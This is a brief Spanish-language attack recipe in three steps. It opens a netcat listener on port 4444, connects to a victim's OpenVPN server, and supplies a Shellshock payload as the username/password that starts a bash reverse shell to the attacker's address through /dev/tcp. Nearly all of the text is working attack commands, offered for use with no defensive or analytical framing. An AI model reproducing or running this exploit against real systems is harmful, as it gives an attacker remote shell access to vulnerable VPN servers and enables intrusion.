1.- En nuestra maquina debemos dejar el netcat en escucha:

nc -l -vv -p 4444

2.- Nos cenectamos a la victima:

openvpn --client --remote [IP_VICTIMA] --auth-user-pass --dev tun --ca ca.cert --auth-nocache --comp-lzo

3.- Cuando pida username y password:

() { :;};'/bin/bash -i >& /dev/tcp/[IP_ATACANTE]/4444 0>&1 &

Y listo!